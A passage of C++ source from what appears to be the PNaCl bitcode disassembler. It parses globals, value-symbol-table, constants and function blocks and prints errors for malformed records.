if (Addend < 0) {
Operator = '-';
Addend = -Addend;
}
Tokens() << Space()<< Operator << Space() << Addend;
}
Tokens() << Semicolon() << FinishCluster() << TokenizeAbbrevIndex()
<< Endline();
--NumInitializers;
break;
case naclbitc::GLOBALVAR_COUNT: {
// COUNT: [n]
uint64_t Count = 0;
if (Values.size() == 1) {
Count = Values[0];
} else {
Errors() << "Globals count record expects one argument. Found: "
<< Values.size() << "\n";
}
if (GetNumGlobals() != 0)
Errors() << "Count record not first record in block.\n";
Tokens() << "count" << Space() << Count << Semicolon()
<< TokenizeAbbrevIndex() << Endline();
if (Count > NaClBcIndexSize_t_Max)
Errors() << "Count record size too big: " << Count << "\n";
Context->SetExpectedNumGlobals(Count);
break;
}
default:
Errors() << "Unknown record found in globals block.\n";
}
ObjDumpWrite(Record.GetStartBit(), Record);
if (GetNumGlobals() > 0 && NumInitializers == 0)
InsertCloseInitializer();
}
/// Parsers and disassembles a valuesymtab block.
class NaClDisValueSymtabParser : public NaClDisBlockParser {
public:
NaClDisValueSymtabParser(unsigned BlockID,
NaClDisBlockParser *EnclosingParser)
: NaClDisBlockParser(BlockID, EnclosingParser) {
}
~NaClDisValueSymtabParser() override {}
private:
void PrintBlockHeader() override;
void ProcessRecord() override;
// Displays the context of the name (in Values) for the given Id.
void DisplayEntry(BitcodeId &Id,
const NaClBitcodeRecord::RecordVector &Values);
};
void NaClDisValueSymtabParser::PrintBlockHeader() {
Tokens() << "valuesymtab" << Space() << OpenCurly()
<< Space() << Space() << "// BlockID = " << GetBlockID()
<< Endline();
}
void NaClDisValueSymtabParser::
DisplayEntry(BitcodeId &Id,
const NaClBitcodeRecord::RecordVector &Values) {
if (Values.size() <= 1) {
Errors() << "Valuesymtab entry record expects 2 arguments. Found: "
<< Values.size() << "\n";
return;
}
Tokens() << Id << Space() << Colon() << Space();
// Check if the name of the symbol is alphanumeric. If so, print
// as a string. Otherwise, print a sequence of bytes.
// Note: The check isChar6 is a test for aphanumeric + {'.', '_'}.
bool IsChar6 = true; // Until proven otherwise.
for (size_t i = 1; i < Values.size(); ++i) {
uint64_t Byte = Values[i];
if (Byte >= 256) {
Errors() << "Argument " << i << " of symbol entry not byte: "
<< Byte << "\n";
IsChar6 = false;
break;
}
if (!NaClBitCodeAbbrevOp::isChar6(Byte))
IsChar6 = false;
}
if (IsChar6) {
Tokens() << StartCluster() << "\"";
for (size_t i = 1; i < Values.size(); ++i) {
Tokens() << static_cast<char>(Values[i]);
}
Tokens() << "\"" << Semicolon();
} else {
Tokens() << StartCluster() << OpenCurly();
for (size_t i = 1; i < Values.size(); ++i) {
if (i > 1) {
Tokens() << Comma() << FinishCluster() << Space()
<< StartCluster();
}
char ch = Values[i];
if (NaClBitCodeAbbrevOp::isChar6(ch)) {
Tokens() << "'" << ch << "'";
} else {
Tokens() << format("%3u", static_cast<unsigned>(ch));
}
}
Tokens() << CloseCurly();
}
Tokens() << FinishCluster() << TokenizeAbbrevIndex() << Endline();
}
void NaClDisValueSymtabParser::ProcessRecord() {
ObjDumpSetRecordBitAddress(Record.GetStartBit());
const NaClBitcodeRecord::RecordVector &Values = Record.GetValues();
switch (Record.GetCode()) {
case naclbitc::VST_CODE_ENTRY: {
// VST_ENTRY: [valueid, namechar x N]
NaClBcIndexSize_t ValID = Values[0];
BitcodeId ID(GetBitcodeId(ValID));
DisplayEntry(ID, Values);
if (ValID < GetNumFunctions()) {
// Check if value is intrinsic name. If so, verify function signature.
std::string Name;
for (size_t i = 1; i < Values.size(); ++i) {
Name.push_back(static_cast<char>(Values[i]));
}
FunctionType *IntrinTy = Context->GetIntrinsicType(Name);
if (IntrinTy == 0)
// TODO(kschimpf): Check for _start? Complain about other names?
break;
Context->MarkFunctionAsIntrinsic(ValID);
// Verify that expected intrinsic function type matches declared
// type signature.
FunctionType *FcnTy = GetFunctionType(ValID);
if (FcnTy->getNumParams() != IntrinTy->getNumParams()) {
Errors() << "Intrinsic " << Name
<< " expects " << IntrinTy->getNumParams()
<< " arguments. Found: " << FcnTy->getNumParams()
<< "\n";
break;
}
if (!IgnorePNaClABIChecks && !PNaClABITypeChecker::IsPointerEquivType(
IntrinTy->getReturnType(), FcnTy->getReturnType())) {
Errors() << "Intrinsic " << Name
<< " expects return type " << *IntrinTy->getReturnType()
<< ". Found: " << *FcnTy->getReturnType() << "\n";
break;
}
for (size_t i = 0; i < FcnTy->getNumParams(); ++i) {
if (!IgnorePNaClABIChecks && !PNaClABITypeChecker::IsPointerEquivType(
IntrinTy->getParamType(i),
FcnTy->getParamType(i))) {
Errors() << "Intrinsic " << Name
<< " expects " << *IntrinTy->getParamType(i)
<< " for argument " << (i+1) << ". Found: "
<< *FcnTy->getParamType(i) << "\n";
break;
}
}
}
break;
}
case naclbitc::VST_CODE_BBENTRY: {
// [bbid, namechar x N]
BitcodeId ID('b', Values[0]);
DisplayEntry(ID, Values);
break;
}
default:
Errors() << "Unknown record in valuesymtab block.\n";
break;
}
ObjDumpWrite(Record.GetStartBit(), Record);
}
/// Parses and disassembles a constants block.
class NaClDisConstantsParser : public NaClDisBlockParser {
public:
NaClDisConstantsParser(unsigned BlockID,
NaClDisBlockParser *EnclosingParser)
: NaClDisBlockParser(BlockID, EnclosingParser),
ConstantType(0),
BlockTabs(GetAssemblyNumTabs()) {}
virtual ~NaClDisConstantsParser() {
while (BlockTabs < GetAssemblyNumTabs()) DecAssemblyIndent();
}
private:
void PrintBlockHeader() override;
void ProcessRecord() override;
/// Generates the value id for the next generated constant.
BitcodeId NextConstId() {
return BitcodeId('c', GetNumConstants());
}
// The type associated with the constant.
Type *ConstantType;
// The number of tabs used to indent the globals block.
unsigned BlockTabs;
};
void NaClDisConstantsParser::PrintBlockHeader() {
Tokens() << "constants" << Space() << OpenCurly()
<< Space() << Space() << "// BlockID = " << GetBlockID()
<< Endline();
}
void NaClDisConstantsParser::ProcessRecord() {
ObjDumpSetRecordBitAddress(Record.GetStartBit());
const NaClBitcodeRecord::RecordVector Values = Record.GetValues();
switch (Record.GetCode()) {
case naclbitc::CST_CODE_SETTYPE:
// SETTYPE: [typeid]
while (BlockTabs + 1 < GetAssemblyNumTabs()) DecAssemblyIndent();
if (Values.size() == 1) {
ConstantType = GetType(Values[0]);
Tokens() << TokenizeType(ConstantType) << ":"
<< TokenizeAbbrevIndex() << Endline();
} else {
Errors() << "Settype record should have 1 argument. Found: "
<< Values.size() << "\n";
// Make up a type, so we can continue.
ConstantType = GetIntegerType(32);
}
IncAssemblyIndent();
break;
case naclbitc::CST_CODE_UNDEF:
// CST_CODE_UNDEF: []
if (!Values.empty()) {
Errors() << "Undefined record should not have arguments: Found: "
<< Values.size() << "\n";
}
Tokens() << NextConstId() << Space() << "=" << Space()
<< StartCluster() << TokenizeType(ConstantType)
<< Space() << "undef"
<< Semicolon() << FinishCluster()
<< TokenizeAbbrevIndex() << Endline();
InstallConstantType(ConstantType);
break;
case naclbitc::CST_CODE_INTEGER: {
// INTEGER: [intval]
SignRotatedInt Value;
if (Values.size() == 1) {
const SignRotatedInt MyValue(Values[0], ConstantType);
Value = MyValue;
} else {
Errors() << "Integer record should have 1 argument. Found: "
<< Values.size() << "\n";
}
Tokens() << NextConstId() << Space() << "=" << Space() << StartCluster()
<< StartCluster() << TokenizeType(ConstantType) << Space()
<< Value << Semicolon() << FinishCluster() << FinishCluster()
<< TokenizeAbbrevIndex() << Endline();
InstallConstantType(ConstantType);
break;
}
case naclbitc::CST_CODE_FLOAT: {
// FLOAT: [fpval]
// Define initially with default value zero, in case of errors.
const fltSemantics &FloatRep =
ConstantType->isFloatTy() ? APFloat::IEEEsingle : APFloat::IEEEdouble;
APFloat Value(APFloat::getZero(FloatRep));
if (Values.size() == 1) {
if (ConstantType->isFloatTy()) {
Value = APFloat(FloatRep, APInt(32, static_cast<uint32_t>(Values[0])));
}
else if (ConstantType->isDoubleTy()) {
Value = APFloat(FloatRep, APInt(64, Values[0]));
} else {
Errors() << "Bad floating point constant argument: "
<< Values[0] << "\n";
}
} else {
Errors() << "Float record should have 1 argument. Found: "
<< Values.size() << "\n";
}
Tokens() << NextConstId() << Space() << "=" << Space() << StartCluster()
<< TokenizeType(ConstantType) << Space();
if (ConstantType->isFloatTy()) {
Tokens() << format("%g", Value.convertToFloat());
} else {
Tokens() << format("%g", Value.convertToDouble());
}
Tokens() << Semicolon() << FinishCluster()
<< TokenizeAbbrevIndex() << Endline();
InstallConstantType(ConstantType);
break;
}
default:
Errors() << "Unknown record in valuesymtab block.\n";
break;
}
ObjDumpWrite(Record.GetStartBit(), Record);
}
/// Parses and disassembles function blocks.
class NaClDisFunctionParser : public NaClDisBlockParser {
public:
NaClDisFunctionParser(unsigned BlockID,
NaClDisBlockParser *EnclosingParser);
~NaClDisFunctionParser() override {
NaClBcIndexSize_t FoundNumBbs = CurrentBbIndex + 1;
// Note: CurrentBbIndex == -1 if no records found.
if (FoundNumBbs == 0)
Errors() << "Function doesn't contain any basic blocks\n";
if (ExpectedNumBbs != FoundNumBbs)
Errors() << "Function expected " << ExpectedNumBbs
<< " basic blocks. Found: " << FoundNumBbs << "\n";
}
void EnterBlock(unsigned NumWords) final {
// Note: Bitstream defines words as 32-bit values. Further, we know that all
// records are minimally defined by a two-bit abbreviation.
constexpr NaClBcIndexSize_t MinRecordSize =
(sizeof(NaClBcIndexSize_t) * CHAR_BIT) >> 2;
Context->restrictMaxValuedInstruction(NumWords * MinRecordSize);
NaClDisBlockParser::EnterBlock(NumWords);
}
void PrintBlockHeader() override;
bool ParseBlock(unsigned BlockID) override;
void ProcessRecord() override;
/// Returns the absolute value index of the first instruction that
/// generates a value in the defined function.
NaClBcIndexSize_t FirstValuedInstructionId() const {
return GetNumFunctions() + GetNumGlobals() + GetNumParams()
+ GetNumConstants();
}
/// Converts an instruction index to the corresponding absolute value
/// index.
NaClBcIndexSize_t ValuedInstToAbsId(NaClBcIndexSize_t Id) const {
return FirstValuedInstructionId() + Id;
}
/// Converts the (function) relative index to the corresponding
/// absolute value index.
NaClBcIndexSize_t RelativeToAbsId(NaClRelBcIndexSize_t Id) {
NaClBcIndexSize_t AbsNextId = ValuedInstToAbsId(GetNumValuedInstructions());
if (Id > 0 && AbsNextId < static_cast<uint32_t>(Id)) {
Errors() << "Invalid relative value id: " << Id
<< " (Must be <= " << AbsNextId << ")\n";
AbsNextId = Id;
}
return AbsNextId - Id;
}
/// Converts the given absolute value index to a corresponding
/// valued instruction index.
NaClBcIndexSize_t AbsToValuedInstId(NaClBcIndexSize_t Id) const {
return Id - FirstValuedInstructionId();
}
/// Returns the text representation of the encoded binary operator,
/// assuming the binary operator is operating on the given type.
/// Generates appropriate error messages if the given type is not
// allowed for the given Opcode.
const char *GetBinop(uint32_t Opcode, Type *Type);
/// Returns the text representation of the encoded cast operator.
/// Generates appropriate error messages if the given Opcode is
/// not allowed for the given types.
const char *GetCastOp(uint32_t Opcode, Type *FromType, Type *ToType);
/// Returns the text representation of the encoded integer compare
/// predicate. Generates appropriate error message if the given
/// Opcode is not defined.
const char *GetIcmpPredicate(uint32_t Opcode);
/// Returns the text representation of the encoded floating point
/// compare predicate. Generates appropriate error message if the
/// given Opcode is not defined.
const char *GetFcmpPredicate(uint32_t Opcode);
/// Returns the value id for the next instruction to be defined.
BitcodeId NextInstId() const {
return BitcodeId('v', GetNumValuedInstructions());
}
private:
// The function index of the function being defined.
NaClBcIndexSize_t FcnId;
// The function type for the function being defined.
FunctionType *FcnTy;
// The current basic block being printed.
NaClBcIndexSize_t CurrentBbIndex;
// The expected number of basic blocks.
NaClBcIndexSize_t ExpectedNumBbs;
// True if the previously printed instruction was a terminating
// instruction. Used to figure out where to insert block labels.
bool InstIsTerminating;
/// Returns scalar type of vector type Ty, if vector type. Otherwise
/// returns Ty.
Type *UnderlyingType(Type *Ty) {
return Ty->isVectorTy() ? Ty->getVectorElementType() : Ty;
}
bool isFloatingType(Type *Ty) {
return Ty->isFloatTy() || Ty->isDoubleTy();
}
/// Verifies that OpTy is an integer, or a vector of integers, for
/// operator Op. Generates error messages if appropriate. Returns Op.
const char *VerifyIntegerOrVectorOp(const char *Op, Type *OpTy) {
Type *BaseTy = OpTy;
if (OpTy->isVectorTy()) {
if (!IgnorePNaClABIChecks &&
!PNaClABITypeChecker::isValidVectorType(OpTy)) {
Errors() << Op << ": invalid vector type: " << *OpTy << "\n";
return Op;
}
BaseTy = OpTy->getVectorElementType();
}
if (BaseTy->isIntegerTy()) {
if (IgnorePNaClABIChecks ||
PNaClABITypeChecker::isValidScalarType(BaseTy)) {
return Op;
}
Errors() << Op << ": Invalid integer type: " << *OpTy << "\n";
} else {
Errors() << Op << ": Expects integer type. Found: " << *OpTy << "\n";
}
return Op;
}
/// Verifies that Opty is a floating point type, or a vector of a
/// floating points, for operator Op. Generates error messages if
/// appropriate. Returns Op.
const char *VerifyFloatingOrVectorOp(const char *Op, Type *OpTy) {
Type *BaseTy = OpTy;
if (OpTy->isVectorTy()) {
if (!IgnorePNaClABIChecks &&
!PNaClABITypeChecker::isValidVectorType(OpTy)) {
Errors() << Op << ": invalid vector type: " << *OpTy << "\n";
return Op;
}
BaseTy = OpTy->getVectorElementType();
}
if (!isFloatingType(BaseTy)) {
Errors() << Op << ": Expects floating point. Found "
<< OpTy << "\n";
return Op;
}
if (!IgnorePNaClABIChecks &&
!PNaClABITypeChecker::isValidScalarType(BaseTy)) {
Errors() << Op << ": type not allowed: " << OpTy << "\n";
}
return Op;
}
/// Op is the name of the operation that called this. Checks if
/// OpTy is either a (non-void) scalar, or a vector of scalars. If
/// not, generates an appropriate error message. Always returns Op.
const char *VerifyScalarOrVectorOp(const char *Op, Type *OpTy) {
if (IgnorePNaClABIChecks) return Op;
if (PNaClABITypeChecker::isValidScalarType(OpTy)) {
if (OpTy->isVoidTy())
Errors() << Op << ": Type void not allowed\n";
} else if (!PNaClABITypeChecker::isValidVectorType(OpTy)) {
Errors() << Op << ": Expects scalar/vector type. Found: "
<< OpTy << "\n";
}
return Op;
}
void VerifyIndexedVector(const char *Op, NaClBcIndexSize_t VecValue,
NaClBcIndexSize_t IdxValue) {
Type *VecType = GetValueType(VecValue);
Type *IdxType = GetValueType(IdxValue);
if (!IgnorePNaClABIChecks &&
!PNaClABITypeChecker::isValidVectorType(VecType)){
if (VecType->isVectorTy())
Errors() << Op << ": Vector type " << *VecType << " not allowed\n";
else
Errors() << Op << ": Vector type expected. Found: " << *VecType << "\n";
}
// Note: This restriction appears to be LLVM specific.
if (!IdxType->isIntegerTy(32)) {
Errors() << Op << ": Index not i32. Found: " << *IdxType << "\n";
}
BitcodeId IdxId(GetBitcodeId(IdxValue));
if (IdxId.GetKind() != 'c') {
Errors() << Op << ": Vector index not constant: " << IdxId << "\n";
// TODO(kschimpf): We should check that Idx is a constant with
// valid access. However, we currently don't store constant
// values, so it can't be tested.
}
}
/// Checks if block Value is a valid branch target for the current
/// function block. If not, generates an appropriate error message.
void VerifyBranchRange(uint64_t Value) {
if (0 == Value || Value >= ExpectedNumBbs) {
Errors() << "Branch " << BitcodeId('b', Value)
<< " out of range. Not in [1," << ExpectedNumBbs << "]\n";
}
}
};
NaClDisFunctionParser::NaClDisFunctionParser(
unsigned BlockID,
NaClDisBlockParser *EnclosingParser)
: NaClDisBlockParser(BlockID, EnclosingParser),
CurrentBbIndex(-1),
ExpectedNumBbs(0),
InstIsTerminating(false) {
Context->ResetLocalCounters();
if (Context->HasNextDefinedFunctionIndex()) {
FcnId = Context->GetNextDefinedFunctionIndex();
FcnTy = GetFunctionType(FcnId);
} else {
FcnId = 0;
SmallVector<Type*, 8> Signature;
FcnTy = FunctionType::get(GetVoidType(), Signature, 0);
Errors() <<
"No corresponding defining function address for function block.\n";
return;
}
Context->IncNumDefinedFunctions();
// Now install parameters.
for (size_t Index = 0; Index < FcnTy->getFunctionNumParams(); ++Index) {
InstallParamType(FcnTy->getFunctionParamType(Index));
}
}
void NaClDisFunctionParser::PrintBlockHeader() {
Tokens() << "function" << Space();
BitcodeId FunctionId('f', FcnId);
bool InvalidSignature = true; // until proven otherwise.
if (Context->IsFunctionIntrinsic(FcnId))
InvalidSignature = false;
else if (IgnorePNaClABIChecks ||
PNaClABITypeChecker::isValidFunctionType(FcnTy)) {
InvalidSignature = false;
}
if (InvalidSignature) {
Errors() << "Invalid type signature for "
<< BitcodeId('f', FcnId) << ": " << *FcnTy << "\n";
}
Tokens() << TokenizeFunctionSignature(FcnTy, &FunctionId)
<< Space() << OpenCurly()
<< Space() << Space() << "// BlockID = " << GetBlockID()
<< Endline();
}
const char *NaClDisFunctionParser::GetBinop(uint32_t Opcode, Type *Ty) {
Instruction::BinaryOps LLVMOpcode;
if (!naclbitc::DecodeBinaryOpcode(Opcode, Ty, LLVMOpcode)) {
Errors() << "Binary opcode not understood: " << Opcode << "\n";
return "???";
}
switch (LLVMOpcode) {
default:
Errors() << "Binary opcode not understood: " << Opcode << "\n";
return "???";
case Instruction::Add:
return VerifyIntArithmeticOp("add", Ty);
case Instruction::FAdd:
return VerifyFloatingOrVectorOp("fadd", Ty);
case Instruction::Sub:
return VerifyIntArithmeticOp("sub", Ty);
case Instruction::FSub:
return VerifyFloatingOrVectorOp("fsub", Ty);
case Instruction::Mul:
return VerifyIntArithmeticOp("mul", Ty);
case Instruction::FMul:
return VerifyFloatingOrVectorOp("fmul", Ty);
case Instruction::UDiv:
return VerifyIntArithmeticOp("udiv", Ty);
case Instruction::SDiv:
return VerifyIntArithmeticOp("sdiv", Ty);
case Instruction::FDiv:
return VerifyFloatingOrVectorOp("fdiv", Ty);
case Instruction::URem:
return VerifyIntArithmeticOp("urem", Ty);
case Instruction::SRem:
return VerifyIntArithmeticOp("srem", Ty);
case Instruction::FRem:
return VerifyFloatingOrVectorOp("frem", Ty);
case Instruction::Shl:
return VerifyIntArithmeticOp("shl", Ty);
case Instruction::LShr:
return VerifyIntArithmeticOp("lshr", Ty);
case Instruction::AShr:
return VerifyIntArithmeticOp("ashr", Ty);
case Instruction::And:
return VerifyIntegerOrVectorOp("and", Ty);
case Instruction::Or:
return VerifyIntegerOrVectorOp("or", Ty);
case Instruction::Xor:
return VerifyIntegerOrVectorOp("xor", Ty);
}
}
const char *NaClDisFunctionParser::GetCastOp(uint32_t Opcode,
Type *FromType, Type *ToType) {
Instruction::CastOps Cast;
const char *CastName = "???";
if (!naclbitc::DecodeCastOpcode(Opcode, Cast)) {
Errors() << "Cast opcode not understood: " << Opcode << "\n";
return CastName;
}
switch (Cast) {
default:
Errors() << "Cast opcode not understood: " << Opcode << "\n";
return CastName;
case Instruction::BitCast:
CastName = "bitcast";
break;
case Instruction::Trunc:
CastName = "trunc";
break;
case Instruction::ZExt:
CastName = "zext";
break;
case Instruction::SExt:
CastName = "sext";
break;
case Instruction::FPToUI:
CastName = "fptoui";
break;
case Instruction::FPToSI:
CastName = "fptosi";
break;
case Instruction::UIToFP:
CastName = "uitofp";
break;
case Instruction::SIToFP:
CastName = "sitofp";
break;
case Instruction::FPTrunc:
CastName = "fptrunc";
break;
case Instruction::FPExt:
CastName = "fpext";
break;
}
if (!CastInst::castIsValid(Cast, FromType, ToType)) {
Errors() << "Invalid cast '" << CastName << "'. Not defined on "
<< *FromType << " to " << *ToType << "\n";
}
return CastName;
}
const char *NaClDisFunctionParser::GetIcmpPredicate(uint32_t Opcode) {
CmpInst::Predicate Predicate;
if (!naclbitc::DecodeIcmpPredicate(Opcode, Predicate)) {
Errors() << "Icmp predicate not understood: " << Opcode << "\n";
return "???";
}
switch (Predicate) {
default:
Errors() << "Icmp predicate not understood: " << Opcode << "\n";
return "???";
case CmpInst::ICMP_EQ:
return "eq";
case CmpInst::ICMP_NE:
return "ne";
case CmpInst::ICMP_UGT:
return "ugt";
case CmpInst::ICMP_UGE:
return "uge";
case CmpInst::ICMP_ULT:
return "ult";
case CmpInst::ICMP_ULE:
return "ule";
case CmpInst::ICMP_SGT:
return "sgt";
case CmpInst::ICMP_SGE:
return "sge";
case CmpInst::ICMP_SLT:
return "slt";
case CmpInst::ICMP_SLE:
return "sle";
}
}
const char *NaClDisFunctionParser::GetFcmpPredicate(uint32_t Opcode) {
CmpInst::Predicate Predicate;
if (!naclbitc::DecodeFcmpPredicate(Opcode, Predicate)) {
Errors() << "Fcmp predicate not understood: " << Opcode << "\n";
return "???";
}
switch (Predicate) {
default:
Errors() << "Fcmp predicate not understood: " << Opcode << "\n";
return "???";
case CmpInst::FCMP_FALSE:
return "false";
case CmpInst::FCMP_OEQ:
return "oeq";
case CmpInst::FCMP_OGT:
return "ogt";
case CmpInst::FCMP_OGE:
return "oge";
case CmpInst::FCMP_OLT:
return "olt";
case CmpInst::FCMP_OLE:
return "ole";
case CmpInst::FCMP_ONE:
return "one";
case CmpInst::FCMP_ORD:
return "ord";
case CmpInst::FCMP_UNO:
return "uno";
case CmpInst::FCMP_UEQ:
return "ueq";
case CmpInst::FCMP_UGT:
return "ugt";
case CmpInst::FCMP_UGE:
return "uge";
case CmpInst::FCMP_ULT:
return "ult";
case CmpInst::FCMP_ULE:
return "ule";
case CmpInst::FCMP_UNE:
return "une";
case CmpInst::FCMP_TRUE:
return "true";
}
}
bool NaClDisFunctionParser::ParseBlock(unsigned BlockID) {
ObjDumpSetRecordBitAddress(GetBlock().GetStartBit());
switch (BlockID) {
case naclbitc::CONSTANTS_BLOCK_ID: {
NaClDisConstantsParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
case naclbitc::VALUE_SYMTAB_BLOCK_ID: {
if (!PNaClAllowLocalSymbolTables) break;
NaClDisValueSymtabParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
default:
break;
}
return NaClDisBlockParser::ParseBlock(BlockID);
}
void NaClDisFunctionParser::ProcessRecord() {
ObjDumpSetRecordBitAddress(Record.GetStartBit());
const NaClBitcodeRecord::RecordVector Values = Record.GetValues();
// Start by adding block label if previous instruction is terminating.
if (InstIsTerminating) {
InstIsTerminating = false;
++CurrentBbIndex;
DecAssemblyIndent();
Tokens() << BitcodeId('b', CurrentBbIndex) << ":" << Endline();
ObjDumpFlush();
IncAssemblyIndent();
}
switch (Record.GetCode()) {
case naclbitc::FUNC_CODE_DECLAREBLOCKS:
// DECLAREBLOCKS: [n]
InstIsTerminating = true; // Force block label on first instruction.
if (Values.size() != 1) {
Errors() << "Function blocks record expects a size argument.\n";
break;
}
ExpectedNumBbs = Values[0];
if (ExpectedNumBbs == 0) {
Errors() << "Functions must contain at least one block.\n";
}
Tokens() << "blocks" << Space() << ExpectedNumBbs << Semicolon();
break;
case naclbitc::FUNC_CODE_INST_BINOP: {
// Note: Old bitcode files may have an additional 'flags' operand, which is
// ignored.
//
// BINOP: [opval, opval, opcode [,flags]]
if (Values.size() != 3 && Values.size() != 4) {
Errors() << "Binop record expects 3 arguments. Found: "
<< Values.size() << "\n";
break;
}
NaClBcIndexSize_t Op1 = RelativeToAbsId(Values[0]);
NaClBcIndexSize_t Op2 = RelativeToAbsId(Values[1]);
Type *Type1 = GetValueType(Op1);
Type *Type2 = GetValueType(Op2);
if (Type1 != Type2) {
Errors() << "Binop argument types differ: " << *Type1 << " and "
<< *Type2 << "\n";
}
const char *Binop = GetBinop(Values[2], Type1);
Tokens() << NextInstId() << Space() << "=" << Space() << Binop << Space()
<< TokenizeType(Type1) << Space() << GetBitcodeId(Op1) << Comma()
<< Space() << GetBitcodeId(Op2) << Semicolon();
InstallInstType(Type1);
break;
}
case naclbitc::FUNC_CODE_INST_CAST: {
// CAST: [opval, destty, castopc]
if (Values.size() != 3) {
Errors() << "Cast record expects 3 argments. Found: "
<< Values.size() << "\n";
break;
}
NaClBcIndexSize_t Op = RelativeToAbsId(Values[0]);
Type *FromType = GetValueType(Op);
Type *ToType = GetType(Values[1]);
const char *CastOp = GetCastOp(Values[2], FromType, ToType);
Tokens() << NextInstId() << Space() << "=" << Space() << CastOp << Space()
<< TokenizeType(FromType) << Space() << GetBitcodeId(Op)
<< Space() << "to" << Space() << TokenizeType(ToType)
<< Semicolon();
InstallInstType(ToType);
break;
}
case naclbitc::FUNC_CODE_INST_RET: {
// RET: [opval?]
InstIsTerminating = true;
Tokens() << "ret" << Space();
switch (Values.size()) {
default:
Errors() << "Function return record expects an optional return argument. "
<< "Found: " << Values.size() << " arguments\n";
break;
case 0:
Tokens() << "void";
break;
case 1: {
NaClBcIndexSize_t Op = RelativeToAbsId(Values[0]);
Tokens() << TokenizeType(GetValueType(Op)) << Space()<< GetBitcodeId(Op);
break;
}
}
Tokens() << Semicolon();
break;
}
case naclbitc::FUNC_CODE_INST_BR: {
// BR: [bb#, bb#, opval] or [bb#]
InstIsTerminating = true;
if (Values.size() != 1 && Values.size() != 3) {
Errors() << "Function branch record expects 1 or 3 arguments. Found: "
<< Values.size() << "\n";
break;
}
Tokens() << "br" << Space();
if (Values.size() == 3) {
NaClBcIndexSize_t OpIndex = RelativeToAbsId(Values[2]);
Type *CondType = GetValueType(OpIndex);
if (CondType != GetComparisonType())
Errors() << "Branch condition not i1\n";
Tokens() << StartCluster() << TokenizeType(CondType) << Space()
<< GetBitcodeId(OpIndex) << Comma()
<< FinishCluster() << Space();
}
VerifyBranchRange(Values[0]);
Tokens() << StartCluster() << "label" << Space()
<< BitcodeId('b', Values[0]);
if (Values.size() == 3) {
VerifyBranchRange(Values[1]);
Tokens() << Comma() << FinishCluster() << Space()
<< StartCluster() << "label" << Space()
<< BitcodeId('b', Values[1]);
}
Tokens() << Semicolon() << FinishCluster();
break;
}
case naclbitc::FUNC_CODE_INST_SWITCH: {
// SWITCH: [opty, op, bb#, n, (1, 1, int, bb#)*]
InstIsTerminating = true;
if (Values.size() < 4) {
Errors()
<< "Function switch record expects at least 4 arguments. Found: "
<< Values.size() << "\n";
break;
}
Type *OpType = GetType(Values[0]);
NaClBcIndexSize_t CondId = RelativeToAbsId(Values[1]);
Type *CondType = GetValueType(CondId);
if (OpType != CondType)
Errors() << "Specified select type " << *OpType << " but found: "
<< *CondType << "\n";
if (!IgnorePNaClABIChecks &&
!PNaClABITypeChecker::isValidSwitchConditionType(CondType)) {
Errors() << PNaClABITypeChecker::ExpectedSwitchConditionType(CondType)
<< "\n";
}
NaClBcIndexSize_t DefaultBb = Values[2];
// TODO(kschimpf): Deal with values that are too large for NumCases.
size_t NumCases = Values[3];
VerifyBranchRange(DefaultBb);
Tokens() << "switch" << Space() << StartCluster() << StartCluster()
<< TokenizeType(OpType) << Space() << GetBitcodeId(CondId)
<< FinishCluster() << Space() << "{" << FinishCluster()
<< Endline();
IncAssemblyIndent();
Tokens() << StartCluster() << "default" << ":" << Space()
<< FinishCluster() << StartCluster() << "br" << Space() << "label"
<< Space() << BitcodeId('b', DefaultBb) << Semicolon()
<< FinishCluster() << Endline();
size_t CurIdx = 4;
for (size_t i = 0; i < NumCases; ++i) {
if (CurIdx + 3 >= Values.size()) {
Errors() << "Incomplete case entry in switch. At index: "
<< CurIdx << "\n";
break;
}
uint64_t NumItems = Values[CurIdx++];
bool IsSingleNumber = Values[CurIdx++];
if (NumItems != 1 || !IsSingleNumber) {
Errors() << "Case ranges are not supported in PNaCl\n";
break;
}
SignRotatedInt CaseValue(Values[CurIdx++], OpType);
// TODO(kschimpf) Check if CaseValue possible based on OpType.
uint64_t Label = Values[CurIdx++];
VerifyBranchRange(Label);
Tokens() << StartCluster() << TokenizeType(OpType) << Space()
<< CaseValue << ":" << Space() << FinishCluster()
<< StartCluster() << "br" << Space() << "label" << Space()
<< BitcodeId('b', Label) << Semicolon() << FinishCluster()
<< Endline();
}
DecAssemblyIndent();
Tokens() << "}";
break;
}
case naclbitc::FUNC_CODE_INST_UNREACHABLE:
// UNREACHABLE
InstIsTerminating = true;
if (!Values.empty()) {
Errors() << "Function unreachable record expects no arguments. Found: "
<< Values.size() << "\n";
}
Tokens() << "unreachable" << Semicolon();
break;
case naclbitc::FUNC_CODE_INST_PHI: {
// PHI: [ty, (val0, bb0)*]
if (Values.size() < 3) {
Errors() << "Function phi record expects at least 3 arguments. Found: "
<< Values.size() << "\n";
break;
} else if (Values.size() % 2 == 0) {
Errors()
<< "Function phi records should have an odd number of arguments. "
<< "Found: " << Values.size() << "\n";
}
Type* OpType = GetType(Values[0]);
Tokens() << NextInstId() << Space() << "=" << StartCluster() << Space()
<< "phi" << Space() << TokenizeType(OpType);
for (size_t i = 1; i < Values.size(); i += 2) {
if (i > 1) Tokens() << Comma();
NaClBcIndexSize_t Index =
RelativeToAbsId(NaClDecodeSignRotatedValue(Values[i]));
Tokens() << FinishCluster() << Space() << StartCluster() << OpenSquare()
<< GetBitcodeId(Index) << Comma() << Space()
<< BitcodeId('b', Values[i+1]) << CloseSquare();
}
Tokens() << Semicolon() << FinishCluster();
InstallInstType(OpType);
break;
};
case naclbitc::FUNC_CODE_INST_ALLOCA: {
// ALLOCA: [size, align]
if (Values.size() != 2) {
Errors() << "Function alloca record expects 2 arguments. Found: "
<< Values.size() << "\n";
break;
}
NaClBcIndexSize_t SizeOp = RelativeToAbsId(Values[0]);
Type* SizeType = GetValueType(SizeOp);
BitcodeId SizeId(GetBitcodeId(SizeOp));
unsigned Alignment = Context->getAlignmentValue(Values[1]);
if (!IgnorePNaClABIChecks && !PNaClABIProps::isAllocaSizeType(SizeType))
Errors() << PNaClABIProps::ExpectedAllocaSizeType() << "\n";
// TODO(kschimpf) Are there any constraints on alignment?
Tokens() << NextInstId() << Space() << "=" << Space() << StartCluster()
<< "alloca" << Space() << "i8" << Comma() << FinishCluster()
<< Space() << StartCluster() << TokenizeType(SizeType) << Space()
<< SizeId << Comma() << FinishCluster() << Space()
<< StartCluster() <<"align" << Space() << Alignment << Semicolon()
<< FinishCluster();
InstallInstType(GetPointerType());
break;
}
